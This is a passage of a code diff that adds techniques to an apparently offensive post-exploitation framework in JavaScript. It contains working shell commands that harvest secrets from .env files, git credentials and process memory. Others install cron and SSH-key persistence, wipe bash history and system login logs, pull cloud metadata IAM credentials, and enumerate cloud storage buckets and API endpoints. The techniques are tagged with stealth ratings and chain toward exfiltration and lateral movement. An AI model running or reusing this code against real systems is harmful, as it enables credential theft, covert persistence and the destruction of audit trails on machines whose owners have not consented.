const { stdout } = await execAsync('cat .env /var/www/*/.env /home/*/.env 2>/dev/null | grep -i "pass\\|key\\|secret\\|token" | head -10', { timeout: 10000 });
|
|
1561
|
+
if (stdout.trim()) {
|
|
1562
|
+
const lines = stdout.split('\n').filter(l => l.trim());
|
|
1563
|
+
lines.slice(0, 5).forEach(l => artifacts.push({ type: 'env_secret', data: l.replace(/=.+/, '=***') }));
|
|
1564
|
+
}
|
|
1565
|
+
}
|
|
1566
|
+
catch { /* ignore */ }
|
|
1567
|
+
// Check for git credentials
|
|
1568
|
+
try {
|
|
1569
|
+
const { stdout } = await execAsync('cat ~/.git-credentials 2>/dev/null | head -5', { timeout: 5000 });
|
|
1570
|
+
if (stdout.trim())
|
|
1571
|
+
artifacts.push({ type: 'git_creds', data: 'Git credentials found' });
|
|
1572
|
+
}
|
|
1573
|
+
catch { /* ignore */ }
|
|
1574
|
+
return { success: artifacts.length > 0, output: { credentials_found: artifacts.length }, artifacts, nextTechniques: ['lateral_move', 'exfil'], detectionRisk: 0.7, duration: Date.now() - start };
|
|
1575
|
+
},
|
|
1576
|
+
});
|
|
1577
|
+
// Memory Dump - Real process memory access
|
|
1578
|
+
techniqueRegistry.register({
|
|
1579
|
+
id: 'memory_dump',
|
|
1580
|
+
name: 'Memory Dump',
|
|
1581
|
+
category: 'post-exploitation',
|
|
1582
|
+
phase: 'actions-on-objectives',
|
|
1583
|
+
prerequisites: [],
|
|
1584
|
+
conflictsWith: [],
|
|
1585
|
+
stealthRating: 0.2,
|
|
1586
|
+
successBaseline: 0.5,
|
|
1587
|
+
timeEstimate: 60000,
|
|
1588
|
+
execute: async (params) => {
|
|
1589
|
+
const start = Date.now();
|
|
1590
|
+
const artifacts = [];
|
|
1591
|
+
const ctx = params.context || {};
|
|
1592
|
+
const pid = ctx['pid'];
|
|
1593
|
+
if (pid) {
|
|
1594
|
+
try {
|
|
1595
|
+
// Try to read process memory map
|
|
1596
|
+
const { stdout } = await execAsync(`cat /proc/${pid}/maps 2>/dev/null | head -20`, { timeout: 10000 });
|
|
1597
|
+
if (stdout.trim()) {
|
|
1598
|
+
artifacts.push({ type: 'memory_map', data: `Process ${pid} memory map obtained` });
|
|
1599
|
+
// Count memory regions
|
|
1600
|
+
const regions = stdout.split('\n').length;
|
|
1601
|
+
artifacts.push({ type: 'memory_regions', data: `${regions} memory regions` });
|
|
1602
|
+
}
|
|
1603
|
+
}
|
|
1604
|
+
catch (e) {
|
|
1605
|
+
return { success: false, output: { error: e.message }, artifacts: [], nextTechniques: [], detectionRisk: 0.6, duration: Date.now() - start };
|
|
1606
|
+
}
|
|
1607
|
+
}
|
|
1608
|
+
// Try to find strings in process memory
|
|
1609
|
+
try {
|
|
1610
|
+
const { stdout } = await execAsync('strings /proc/$(pgrep -o nginx || pgrep -o apache || pgrep -o ssh)/environ 2>/dev/null | head -20', { timeout: 15000 });
|
|
1611
|
+
if (stdout.trim()) {
|
|
1612
|
+
const secrets = stdout.split('\n').filter(l => /pass|key|secret|token/i.test(l));
|
|
1613
|
+
secrets.slice(0, 5).forEach(s => artifacts.push({ type: 'memory_secret', data: s.replace(/=.+/, '=***') }));
|
|
1614
|
+
}
|
|
1615
|
+
}
|
|
1616
|
+
catch { /* ignore */ }
|
|
1617
|
+
return { success: artifacts.length > 0, output: { memory_data: artifacts.length }, artifacts, nextTechniques: ['credential_harvest', 'exfil'], detectionRisk: 0.8, duration: Date.now() - start };
|
|
1618
|
+
},
|
|
1619
|
+
});
|
|
1620
|
+
// Scheduled Task Persistence - Real cron/systemd
|
|
1621
|
+
techniqueRegistry.register({
|
|
1622
|
+
id: 'sched_persist',
|
|
1623
|
+
name: 'Scheduled Task Persistence',
|
|
1624
|
+
category: 'persistence',
|
|
1625
|
+
phase: 'installation',
|
|
1626
|
+
prerequisites: [],
|
|
1627
|
+
conflictsWith: [],
|
|
1628
|
+
stealthRating: 0.4,
|
|
1629
|
+
successBaseline: 0.7,
|
|
1630
|
+
timeEstimate: 20000,
|
|
1631
|
+
execute: async (params) => {
|
|
1632
|
+
const start = Date.now();
|
|
1633
|
+
const artifacts = [];
|
|
1634
|
+
const ctx = params.context || {};
|
|
1635
|
+
const command = ctx['command'];
|
|
1636
|
+
const schedule = ctx['schedule'] || '*/15 * * * *';
|
|
1637
|
+
if (command) {
|
|
1638
|
+
// Try to add cron job
|
|
1639
|
+
try {
|
|
1640
|
+
const { stdout } = await execAsync(`(crontab -l 2>/dev/null; echo "${schedule} ${command}") | crontab -`, { timeout: 10000 });
|
|
1641
|
+
artifacts.push({ type: 'cron_persist', data: `Cron job added: ${schedule}` });
|
|
1642
|
+
}
|
|
1643
|
+
catch (e) {
|
|
1644
|
+
artifacts.push({ type: 'cron_failed', data: e.message });
|
|
1645
|
+
}
|
|
1646
|
+
// Try systemd timer
|
|
1647
|
+
try {
|
|
1648
|
+
const timerContent = `[Unit]\nDescription=System Task\n[Timer]\nOnCalendar=*:0/15\n[Install]\nWantedBy=timers.target`;
|
|
1649
|
+
await execAsync(`echo '${timerContent}' > /tmp/.timer.timer`, { timeout: 5000 });
|
|
1650
|
+
artifacts.push({ type: 'systemd_timer', data: 'Timer unit created in /tmp' });
|
|
1651
|
+
}
|
|
1652
|
+
catch { /* ignore */ }
|
|
1653
|
+
}
|
|
1654
|
+
// List existing persistence
|
|
1655
|
+
try {
|
|
1656
|
+
const { stdout } = await execAsync('crontab -l 2>/dev/null', { timeout: 5000 });
|
|
1657
|
+
if (stdout.trim())
|
|
1658
|
+
artifacts.push({ type: 'existing_cron', data: `${stdout.split('\n').length} cron entries` });
|
|
1659
|
+
}
|
|
1660
|
+
catch { /* ignore */ }
|
|
1661
|
+
return { success: artifacts.length > 0, output: { persistence: artifacts.length }, artifacts, nextTechniques: ['c2_beacon'], detectionRisk: 0.6, duration: Date.now() - start };
|
|
1662
|
+
},
|
|
1663
|
+
});
|
|
1664
|
+
// SSH Key Persistence - Real authorized_keys manipulation
|
|
1665
|
+
techniqueRegistry.register({
|
|
1666
|
+
id: 'ssh_persist',
|
|
1667
|
+
name: 'SSH Key Persistence',
|
|
1668
|
+
category: 'persistence',
|
|
1669
|
+
phase: 'installation',
|
|
1670
|
+
prerequisites: [],
|
|
1671
|
+
conflictsWith: [],
|
|
1672
|
+
stealthRating: 0.5,
|
|
1673
|
+
successBaseline: 0.65,
|
|
1674
|
+
timeEstimate: 15000,
|
|
1675
|
+
execute: async (params) => {
|
|
1676
|
+
const start = Date.now();
|
|
1677
|
+
const artifacts = [];
|
|
1678
|
+
const ctx = params.context || {};
|
|
1679
|
+
const publicKey = ctx['public_key'];
|
|
1680
|
+
if (publicKey) {
|
|
1681
|
+
// Try to add to authorized_keys
|
|
1682
|
+
try {
|
|
1683
|
+
await execAsync(`mkdir -p ~/.ssh && echo '${publicKey}' >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys`, { timeout: 10000 });
|
|
1684
|
+
artifacts.push({ type: 'ssh_persist', data: 'Public key added to authorized_keys' });
|
|
1685
|
+
}
|
|
1686
|
+
catch (e) {
|
|
1687
|
+
artifacts.push({ type: 'ssh_persist_failed', data: e.message });
|
|
1688
|
+
}
|
|
1689
|
+
}
|
|
1690
|
+
// Check existing authorized_keys
|
|
1691
|
+
try {
|
|
1692
|
+
const { stdout } = await execAsync('cat ~/.ssh/authorized_keys /root/.ssh/authorized_keys 2>/dev/null | wc -l', { timeout: 5000 });
|
|
1693
|
+
if (stdout.trim() !== '0')
|
|
1694
|
+
artifacts.push({ type: 'existing_keys', data: `${stdout.trim()} authorized keys present` });
|
|
1695
|
+
}
|
|
1696
|
+
catch { /* ignore */ }
|
|
1697
|
+
return { success: artifacts.length > 0, output: { ssh_persist: artifacts.length }, artifacts, nextTechniques: ['lateral_move'], detectionRisk: 0.5, duration: Date.now() - start };
|
|
1698
|
+
},
|
|
1699
|
+
});
|
|
1700
|
+
// Cleanup - Real artifact removal
|
|
1701
|
+
techniqueRegistry.register({
|
|
1702
|
+
id: 'cleanup',
|
|
1703
|
+
name: 'Cleanup',
|
|
1704
|
+
category: 'evasion',
|
|
1705
|
+
phase: 'actions-on-objectives',
|
|
1706
|
+
prerequisites: [],
|
|
1707
|
+
conflictsWith: [],
|
|
1708
|
+
stealthRating: 0.9,
|
|
1709
|
+
successBaseline: 0.85,
|
|
1710
|
+
timeEstimate: 20000,
|
|
1711
|
+
execute: async (params) => {
|
|
1712
|
+
const start = Date.now();
|
|
1713
|
+
const artifacts = [];
|
|
1714
|
+
// Clear bash history
|
|
1715
|
+
try {
|
|
1716
|
+
await execAsync('history -c; > ~/.bash_history', { timeout: 5000 });
|
|
1717
|
+
artifacts.push({ type: 'cleared', data: 'bash_history' });
|
|
1718
|
+
}
|
|
1719
|
+
catch { /* ignore */ }
|
|
1720
|
+
// Clear auth logs (needs root)
|
|
1721
|
+
try {
|
|
1722
|
+
await execAsync('> /var/log/auth.log 2>/dev/null', { timeout: 5000 });
|
|
1723
|
+
artifacts.push({ type: 'cleared', data: 'auth.log' });
|
|
1724
|
+
}
|
|
1725
|
+
catch { /* ignore */ }
|
|
1726
|
+
// Remove temp files
|
|
1727
|
+
try {
|
|
1728
|
+
await execAsync('rm -rf /tmp/.* 2>/dev/null', { timeout: 5000 });
|
|
1729
|
+
artifacts.push({ type: 'cleared', data: 'temp files' });
|
|
1730
|
+
}
|
|
1731
|
+
catch { /* ignore */ }
|
|
1732
|
+
// Clear wtmp/btmp
|
|
1733
|
+
try {
|
|
1734
|
+
await execAsync('> /var/log/wtmp; > /var/log/btmp 2>/dev/null', { timeout: 5000 });
|
|
1735
|
+
artifacts.push({ type: 'cleared', data: 'login records' });
|
|
1736
|
+
}
|
|
1737
|
+
catch { /* ignore */ }
|
|
1738
|
+
return { success: artifacts.length > 0, output: { cleaned: artifacts.length }, artifacts, nextTechniques: [], detectionRisk: 0.2, duration: Date.now() - start };
|
|
1739
|
+
},
|
|
1740
|
+
});
|
|
1741
|
+
}
|
|
1742
|
+
// Cloud & SaaS Reconnaissance Techniques
|
|
1743
|
+
function registerCloudTechniques() {
|
|
1744
|
+
// Cloud Provider Detection - Real fingerprinting
|
|
1745
|
+
techniqueRegistry.register({
|
|
1746
|
+
id: 'cloud_detect',
|
|
1747
|
+
name: 'Cloud Provider Detection',
|
|
1748
|
+
category: 'recon',
|
|
1749
|
+
phase: 'reconnaissance',
|
|
1750
|
+
prerequisites: [],
|
|
1751
|
+
conflictsWith: [],
|
|
1752
|
+
stealthRating: 0.95,
|
|
1753
|
+
successBaseline: 0.9,
|
|
1754
|
+
timeEstimate: 15000,
|
|
1755
|
+
execute: async (params) => {
|
|
1756
|
+
const start = Date.now();
|
|
1757
|
+
const target = params.target;
|
|
1758
|
+
const artifacts = [];
|
|
1759
|
+
try {
|
|
1760
|
+
// Resolve IPs
|
|
1761
|
+
const ips = await dns.resolve4(target).catch(() => []);
|
|
1762
|
+
for (const ip of ips.slice(0, 3)) {
|
|
1763
|
+
artifacts.push({ type: 'ip', data: ip });
|
|
1764
|
+
// Check IP ranges for cloud providers
|
|
1765
|
+
const ipNum = ip.split('.').reduce((acc, oct) => (acc << 8) + parseInt(oct), 0);
|
|
1766
|
+
// AWS ranges (simplified)
|
|
1767
|
+
if ((ipNum >= 0x03000000 && ipNum <= 0x03FFFFFF) || (ipNum >= 0x34000000 && ipNum <= 0x37FFFFFF)) {
|
|
1768
|
+
artifacts.push({ type: 'cloud_provider', data: 'AWS (likely)' });
|
|
1769
|
+
}
|
|
1770
|
+
// Google Cloud ranges
|
|
1771
|
+
if (ipNum >= 0x23000000 && ipNum <= 0x23FFFFFF) {
|
|
1772
|
+
artifacts.push({ type: 'cloud_provider', data: 'Google Cloud (likely)' });
|
|
1773
|
+
}
|
|
1774
|
+
// Azure ranges
|
|
1775
|
+
if (ipNum >= 0x0D000000 && ipNum <= 0x0DFFFFFF) {
|
|
1776
|
+
artifacts.push({ type: 'cloud_provider', data: 'Azure (likely)' });
|
|
1777
|
+
}
|
|
1778
|
+
}
|
|
1779
|
+
// Check headers for cloud signatures
|
|
1780
|
+
const url = target.startsWith('http') ? target : `https://${target}`;
|
|
1781
|
+
const probe = await httpProbe(url, 5000).catch(() => null);
|
|
1782
|
+
if (probe) {
|
|
1783
|
+
if (probe.headers['x-amz-request-id'] || probe.headers['x-amz-id-2'])
|
|
1784
|
+
artifacts.push({ type: 'cloud_provider', data: 'AWS (confirmed via headers)' });
|
|
1785
|
+
if (probe.headers['x-goog-generation'] || probe.headers['x-guploader-uploadid'])
|
|
1786
|
+
artifacts.push({ type: 'cloud_provider', data: 'Google Cloud (confirmed via headers)' });
|
|
1787
|
+
if (probe.headers['x-ms-request-id'] || probe.headers['x-azure-ref'])
|
|
1788
|
+
artifacts.push({ type: 'cloud_provider', data: 'Azure (confirmed via headers)' });
|
|
1789
|
+
if (probe.headers['cf-ray'])
|
|
1790
|
+
artifacts.push({ type: 'cdn', data: 'Cloudflare' });
|
|
1791
|
+
if (probe.headers['x-cache'] && probe.headers['x-cache'].includes('cloudfront'))
|
|
1792
|
+
artifacts.push({ type: 'cdn', data: 'CloudFront' });
|
|
1793
|
+
if (probe.headers['x-served-by'] && probe.headers['x-served-by'].includes('cache'))
|
|
1794
|
+
artifacts.push({ type: 'cdn', data: 'Fastly' });
|
|
1795
|
+
}
|
|
1796
|
+
}
|
|
1797
|
+
catch { /* ignore */ }
|
|
1798
|
+
return { success: artifacts.length > 0, output: { target, cloud_data: artifacts.length }, artifacts, nextTechniques: ['s3_enum', 'gcs_enum', 'azure_enum'], detectionRisk: 0.05, duration: Date.now() - start };
|
|
1799
|
+
},
|
|
1800
|
+
});
|
|
1801
|
+
// S3 Bucket Enumeration - Real bucket discovery
|
|
1802
|
+
techniqueRegistry.register({
|
|
1803
|
+
id: 's3_enum',
|
|
1804
|
+
name: 'S3 Bucket Enumeration',
|
|
1805
|
+
category: 'recon',
|
|
1806
|
+
phase: 'reconnaissance',
|
|
1807
|
+
prerequisites: [],
|
|
1808
|
+
conflictsWith: [],
|
|
1809
|
+
stealthRating: 0.85,
|
|
1810
|
+
successBaseline: 0.7,
|
|
1811
|
+
timeEstimate: 30000,
|
|
1812
|
+
execute: async (params) => {
|
|
1813
|
+
const start = Date.now();
|
|
1814
|
+
const target = params.target.replace(/^https?:\/\//, '').replace(/\/.+/, '').split('.')[0] || params.target;
|
|
1815
|
+
const artifacts = [];
|
|
1816
|
+
const bucketVariations = [
|
|
1817
|
+
target, `${target}-dev`, `${target}-staging`, `${target}-prod`, `${target}-backup`,
|
|
1818
|
+
`${target}-assets`, `${target}-static`, `${target}-data`, `${target}-logs`,
|
|
1819
|
+
`${target}.com`, `${target}-public`, `${target}-private`, `${target}-internal`
|
|
1820
|
+
];
|
|
1821
|
+
for (const bucket of bucketVariations.slice(0, params.depth === 'quick' ? 4 : params.depth === 'deep' ? 12 : 8)) {
|
|
1822
|
+
try {
|
|
1823
|
+
const probe = await httpProbe(`https://${bucket}.s3.amazonaws.com`, 3000);
|
|
1824
|
+
if (probe.status !== 404) {
|
|
1825
|
+
artifacts.push({ type: 's3_bucket', data: `${bucket} - HTTP ${probe.status}` });
|
|
1826
|
+
if (probe.status === 200)
|
|
1827
|
+
artifacts.push({ type: 's3_public', data: `${bucket} is publicly accessible!` });
|
|
1828
|
+
if (probe.status === 403)
|
|
1829
|
+
artifacts.push({ type: 's3_exists', data: `${bucket} exists but access denied` });
|
|
1830
|
+
}
|
|
1831
|
+
}
|
|
1832
|
+
catch { /* bucket doesn't exist or not accessible */ }
|
|
1833
|
+
// Also check region-specific endpoints
|
|
1834
|
+
try {
|
|
1835
|
+
const probe = await httpProbe(`https://s3.us-east-1.amazonaws.com/${bucket}`, 3000);
|
|
1836
|
+
if (probe.status !== 404 && probe.status !== 400) {
|
|
1837
|
+
artifacts.push({ type: 's3_bucket_path', data: `${bucket} via path-style - HTTP ${probe.status}` });
|
|
1838
|
+
}
|
|
1839
|
+
}
|
|
1840
|
+
catch { /* ignore */ }
|
|
1841
|
+
}
|
|
1842
|
+
return { success: artifacts.length > 0, output: { target, buckets_found: artifacts.length }, artifacts, nextTechniques: ['cloud_metadata', 'vuln_scan'], detectionRisk: 0.15, duration: Date.now() - start };
|
|
1843
|
+
},
|
|
1844
|
+
});
|
|
1845
|
+
// GCS Bucket Enumeration - Real Google Cloud Storage discovery
|
|
1846
|
+
techniqueRegistry.register({
|
|
1847
|
+
id: 'gcs_enum',
|
|
1848
|
+
name: 'GCS Bucket Enumeration',
|
|
1849
|
+
category: 'recon',
|
|
1850
|
+
phase: 'reconnaissance',
|
|
1851
|
+
prerequisites: [],
|
|
1852
|
+
conflictsWith: [],
|
|
1853
|
+
stealthRating: 0.85,
|
|
1854
|
+
successBaseline: 0.65,
|
|
1855
|
+
timeEstimate: 25000,
|
|
1856
|
+
execute: async (params) => {
|
|
1857
|
+
const start = Date.now();
|
|
1858
|
+
const target = params.target.replace(/^https?:\/\//, '').replace(/\/.+/, '').split('.')[0] || params.target;
|
|
1859
|
+
const artifacts = [];
|
|
1860
|
+
const bucketVariations = [target, `${target}-dev`, `${target}-prod`, `${target}-backup`, `${target}-public`, `${target}_data`];
|
|
1861
|
+
for (const bucket of bucketVariations.slice(0, params.depth === 'quick' ? 3 : 6)) {
|
|
1862
|
+
try {
|
|
1863
|
+
const probe = await httpProbe(`https://storage.googleapis.com/${bucket}`, 3000);
|
|
1864
|
+
if (probe.status !== 404) {
|
|
1865
|
+
artifacts.push({ type: 'gcs_bucket', data: `${bucket} - HTTP ${probe.status}` });
|
|
1866
|
+
if (probe.status === 200)
|
|
1867
|
+
artifacts.push({ type: 'gcs_public', data: `${bucket} is publicly accessible!` });
|
|
1868
|
+
}
|
|
1869
|
+
}
|
|
1870
|
+
catch { /* ignore */ }
|
|
1871
|
+
}
|
|
1872
|
+
return { success: artifacts.length > 0, output: { target, buckets_found: artifacts.length }, artifacts, nextTechniques: ['cloud_metadata'], detectionRisk: 0.15, duration: Date.now() - start };
|
|
1873
|
+
},
|
|
1874
|
+
});
|
|
1875
|
+
// Azure Blob Enumeration - Real Azure Storage discovery
|
|
1876
|
+
techniqueRegistry.register({
|
|
1877
|
+
id: 'azure_enum',
|
|
1878
|
+
name: 'Azure Blob Enumeration',
|
|
1879
|
+
category: 'recon',
|
|
1880
|
+
phase: 'reconnaissance',
|
|
1881
|
+
prerequisites: [],
|
|
1882
|
+
conflictsWith: [],
|
|
1883
|
+
stealthRating: 0.85,
|
|
1884
|
+
successBaseline: 0.6,
|
|
1885
|
+
timeEstimate: 25000,
|
|
1886
|
+
execute: async (params) => {
|
|
1887
|
+
const start = Date.now();
|
|
1888
|
+
const target = params.target.replace(/^https?:\/\//, '').replace(/\/.+/, '').split('.')[0] || params.target;
|
|
1889
|
+
const artifacts = [];
|
|
1890
|
+
const accountVariations = [target, `${target}dev`, `${target}prod`, `${target}storage`, `${target}data`];
|
|
1891
|
+
for (const account of accountVariations.slice(0, params.depth === 'quick' ? 2 : 5)) {
|
|
1892
|
+
try {
|
|
1893
|
+
const probe = await httpProbe(`https://${account}.blob.core.windows.net`, 3000);
|
|
1894
|
+
if (probe.status !== 404 && probe.status !== 400) {
|
|
1895
|
+
artifacts.push({ type: 'azure_storage', data: `${account}.blob.core.windows.net - HTTP ${probe.status}` });
|
|
1896
|
+
}
|
|
1897
|
+
}
|
|
1898
|
+
catch { /* ignore */ }
|
|
1899
|
+
// Check for common containers
|
|
1900
|
+
for (const container of ['$web', 'public', 'data', 'backup', 'assets']) {
|
|
1901
|
+
try {
|
|
1902
|
+
const probe = await httpProbe(`https://${account}.blob.core.windows.net/${container}?restype=container&comp=list`, 3000);
|
|
1903
|
+
if (probe.status === 200) {
|
|
1904
|
+
artifacts.push({ type: 'azure_container_public', data: `${account}/${container} is publicly listable!` });
|
|
1905
|
+
}
|
|
1906
|
+
}
|
|
1907
|
+
catch { /* ignore */ }
|
|
1908
|
+
}
|
|
1909
|
+
}
|
|
1910
|
+
return { success: artifacts.length > 0, output: { target, storage_found: artifacts.length }, artifacts, nextTechniques: ['cloud_metadata'], detectionRisk: 0.15, duration: Date.now() - start };
|
|
1911
|
+
},
|
|
1912
|
+
});
|
|
1913
|
+
// Cloud Metadata Service - Real IMDS probing
|
|
1914
|
+
techniqueRegistry.register({
|
|
1915
|
+
id: 'cloud_metadata',
|
|
1916
|
+
name: 'Cloud Metadata Service',
|
|
1917
|
+
category: 'exploitation',
|
|
1918
|
+
phase: 'exploitation',
|
|
1919
|
+
prerequisites: [],
|
|
1920
|
+
conflictsWith: [],
|
|
1921
|
+
stealthRating: 0.3,
|
|
1922
|
+
successBaseline: 0.4,
|
|
1923
|
+
timeEstimate: 20000,
|
|
1924
|
+
execute: async (params) => {
|
|
1925
|
+
const start = Date.now();
|
|
1926
|
+
const artifacts = [];
|
|
1927
|
+
// AWS IMDS
|
|
1928
|
+
try {
|
|
1929
|
+
const { stdout } = await execAsync('curl -s -m 2 http://169.254.169.254/latest/meta-data/', { timeout: 5000 });
|
|
1930
|
+
if (stdout && !stdout.includes('404')) {
|
|
1931
|
+
artifacts.push({ type: 'aws_imds', data: 'AWS metadata service accessible' });
|
|
1932
|
+
const paths = stdout.split('\n').filter(p => p.trim());
|
|
1933
|
+
artifacts.push({ type: 'aws_metadata_paths', data: paths.slice(0, 10).join(', ') });
|
|
1934
|
+
// Try to get IAM role
|
|
1935
|
+
try {
|
|
1936
|
+
const { stdout: role } = await execAsync('curl -s -m 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/', { timeout: 3000 });
|
|
1937
|
+
if (role.trim())
|
|
1938
|
+
artifacts.push({ type: 'aws_iam_role', data: role.trim() });
|
|
1939
|
+
}
|
|
1940
|
+
catch { /* ignore */ }
|
|
1941
|
+
}
|
|
1942
|
+
}
|
|
1943
|
+
catch { /* not on AWS or IMDS blocked */ }
|
|
1944
|
+
// GCP metadata
|
|
1945
|
+
try {
|
|
1946
|
+
const { stdout } = await execAsync('curl -s -m 2 -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/', { timeout: 5000 });
|
|
1947
|
+
if (stdout && !stdout.includes('404')) {
|
|
1948
|
+
artifacts.push({ type: 'gcp_metadata', data: 'GCP metadata service accessible' });
|
|
1949
|
+
}
|
|
1950
|
+
}
|
|
1951
|
+
catch { /* not on GCP */ }
|
|
1952
|
+
// Azure IMDS
|
|
1953
|
+
try {
|
|
1954
|
+
const { stdout } = await execAsync('curl -s -m 2 -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"', { timeout: 5000 });
|
|
1955
|
+
if (stdout && stdout.includes('compute')) {
|
|
1956
|
+
artifacts.push({ type: 'azure_imds', data: 'Azure metadata service accessible' });
|
|
1957
|
+
}
|
|
1958
|
+
}
|
|
1959
|
+
catch { /* not on Azure */ }
|
|
1960
|
+
return { success: artifacts.length > 0, output: { metadata_found: artifacts.length }, artifacts, nextTechniques: ['credential_harvest', 'privesc'], detectionRisk: 0.5, duration: Date.now() - start };
|
|
1961
|
+
},
|
|
1962
|
+
});
|
|
1963
|
+
// API Endpoint Discovery - Real REST/GraphQL probing
|
|
1964
|
+
techniqueRegistry.register({
|
|
1965
|
+
id: 'api_discovery',
|
|
1966
|
+
name: 'API Endpoint Discovery',
|
|
1967
|
+
category: 'enumeration',
|
|
1968
|
+
phase: 'weaponization',
|
|
1969
|
+
prerequisites: [],
|
|
1970
|
+
conflictsWith: [],
|
|
1971
|
+
stealthRating: 0.7,
|
|
1972
|
+
successBaseline: 0.75,
|
|
1973
|
+
timeEstimate: 45000,
|
|
1974
|
+
execute: async (params) => {
|
|
1975
|
+
const start = Date.now();
|
|
1976
|
+
const target = params.target.startsWith('http') ? params.target : `https://${params.target}`;
|
|
1977
|
+
const artifacts = [];
|
|
1978
|
+
// Common API paths
|
|
1979
|
+
const apiPaths = params.depth === 'quick'
|
|
1980
|
+
? ['/api', '/api/v1', '/graphql', '/swagger.json']
|
|
1981
|
+
: ['/api', '/api/v1', '/api/v2', '/v1', '/v2', '/graphql', '/graphiql',
|
|
1982
|
+
'/swagger.json', '/swagger/v1/swagger.json', '/openapi.json', '/api-docs',
|
|
1983
|
+
'/api/docs', '/.well-known/openapi.json', '/rest', '/rpc', '/ws', '/socket.io'];
|
|
1984
|
+
for (const path of apiPaths) {
|
|
1985
|
+
try {
|
|
1986
|
+
const probe = await httpProbe(`${target}${path}`, 3000);
|
|
1987
|
+
if (probe.status < 400 || probe.status === 401 || probe.status === 403) {
|
|
1988
|
+
artifacts.push({ type: 'api_endpoint', data: `${path} - HTTP ${probe.status}` });
|
|
1989
|
+
}
|
|
1990
|
+
}
|
|
1991
|
+
catch { /* ignore */ }
|
|
1992
|
+
}
|
|
1993
|
+
// Try GraphQL introspection
|
|
1994
|
+
try {
|
|
1995
|
+
const { stdout } = await execAsync(`curl -s -X POST -H "Content-Type: application/json" -d '{"query":"{ __schema { types { name } } }"}' "${target}/graphql" --connect-timeout 5`, { timeout: 10000 });
|
|
1996
|
+
if (stdout.includes('__schema') || stdout.includes('types')) {
|
|
1997
|
+
artifacts.push({ type: 'graphql_introspection', data: 'GraphQL introspection enabled!' });
|
|
1998
|
+
const types = stdout.match(/"name":"(\w+)"/g)?.slice(0, 10);
|
|
1999
|
+
if (types)
|
|
2000
|
+
artifacts.push({ type: 'graphql_types', data: types.join(', ') });
|
|
2001
|
+
}
|
|
2002
|
+
}
|
|
2003
|
+
catch { /* ignore */ }
|
|
2004
|
+
return { success: artifacts.length > 0, output: { endpoints_found: artifacts.length }, artifacts, nextTechniques: ['vuln_scan', 'credential_spray'], detectionRisk: 0.35, duration: Date.now() - start };
|
|
2005
|
+
},
|
|
2006
|
+
});
|
|
2007
|
+
// Technology Stack Fingerprint - Real tech detection
|
|
2008
|
+
techniqueRegistry.register({
|
|
2009
|
+
id: 'tech_fingerprint',
|
|
2010
|
+
name: 'Technology Stack Fingerprint',
|
|
2011
|
+
category: 'recon',
|
|
2012
|
+
phase: 'reconnaissance',
|
|
2013
|
+
prerequisites: [],
|
|
2014
|
+
conflictsWith: [],
|
|
2015
|
+
stealthRating: 0.9,
|
|
2016
|
+
successBaseline: 0.85,
|
|
2017
|
+
timeEstimate: 20000,
|
|
2018
|
+
execute: async (params) => {
|
|
2019
|
+
const start = Date.now();
|
|
2020
|
+
const url = params.target.startsWith('http') ? params.target : `https://${params.target}`;
|
|
2021
|
+
const artifacts = [];
|
|
2022
|
+
try {
|
|
2023
|
+
const probe = await httpProbe(url, 5000);
|
|
2024
|
+
// Server header
|
|
2025
|
+
if (probe.server)
|
|
2026
|
+
artifacts.push({ type: 'server', data: probe.server });
|
|
2027
|
+
// X-Powered-By
|
|
2028
|
+
if (probe.headers['x-powered-by'])
|
|
2029
|
+
artifacts.push({ type: 'framework', data: probe.headers['x-powered-by'] });
|
|
2030
|
+
// Detect from headers
|
|
2031
|
+
if (probe.headers['x-aspnet-version'])
|
|
2032
|
+
artifacts.push({ type: 'tech', data: `ASP.NET ${probe.headers['x-aspnet-version']}` });
|
|
2033
|
+
if (probe.headers['x-drupal-cache'])
|
|
2034
|
+
artifacts.push({ type: 'cms', data: 'Drupal' });
|
|
2035
|
+
if (probe.headers['x-generator']?.includes('WordPress'))
|
|
2036
|
+
artifacts.push({ type: 'cms', data: 'WordPress' });
|
|
2037
|
+
if (probe.headers['x-shopify-stage'])
|
|
2038
|
+
artifacts.push({ type: 'platform', data: 'Shopify' });
|
|
2039
|
+
// Security headers analysis
|
|
2040
|
+
if (probe.headers['content-security-policy'])
|
|
2041
|
+
artifacts.push({ type: 'security', data: 'CSP enabled' });
|
|
2042
|
+
if (probe.headers['x-xss-protection'])
|
|
2043
|
+
artifacts.push({ type: 'security', data: 'XSS protection header' });
|
|
2044
|
+
// Try to fetch page and detect tech
|
|
2045
|
+
const { stdout } = await execAsync(`curl -s -L "${url}" --connect-timeout 5 | head -200`, { timeout: 10000 });
|
|
2046
|
+
if (stdout.includes('wp-content'))
|
|
2047
|
+
artifacts.push({ type: 'cms', data: 'WordPress (detected in HTML)' });
|
|
2048
|
+
if (stdout.includes('react'))
|
|
2049
|
+
artifacts.push({ type: 'frontend', data: 'React' });
|
|
2050
|
+
if (stdout.includes('vue'))
|
|
2051
|
+
artifacts.push({ type: 'frontend', data: 'Vue.js' });
|
|
2052
|
+
if (stdout.includes('angular'))
|
|
2053
|
+
artifacts.push({ type: 'frontend', data: 'Angular' });
|
|
2054
|
+
if (stdout.includes('next'))
|
|
2055
|
+
artifacts.push({ type: 'frontend', data: 'Next.js' });
|
|
2056
|
+
if (stdout.includes('jquery'))
|
|
2057
|
+
artifacts.push({ type: 'library', data: 'jQuery' });
|
|
2058
|
+
if (stdout.includes('bootstrap'))
|
|
2059
|
+
artifacts.push({ type: 'library', data: 'Bootstrap' });
|
|
2060
|
+
// Google-specific detection
|
|
2061
|
+
if (stdout.includes('google') || stdout.includes('googleapis'))
|
|
2062
|
+
artifacts.push({ type: 'integration', data: 'Google APIs' });
|
|
2063
|
+
if (stdout.includes('firebase'))
|
|
2064
|
+
artifacts.push({ type: 'backend', data: 'Firebase' });
|
|
2065
|
+
if (stdout.includes('gstatic'))
|
|
2066
|
+
artifacts.push({ type: 'cdn', data: 'Google Static' });
|
|
2067
|
+
}
|
|
2068
|
+
catch { /* ignore */ }
|
|
2069
|
+
return { success: artifacts.length > 0, output: { technologies: artifacts.length }, artifacts, nextTechniques: ['vuln_scan', 'api_discovery'], detectionRisk: 0.1, duration: Date.now() - start };
|
|
2070
|
+
},
|
|
2071
|
+
});
|
|
2072
|
+
// Certificate Transparency Log Search - Real CT log query
|
|
2073
|
+
techniqueRegistry.register({
|
|
2074
|
+
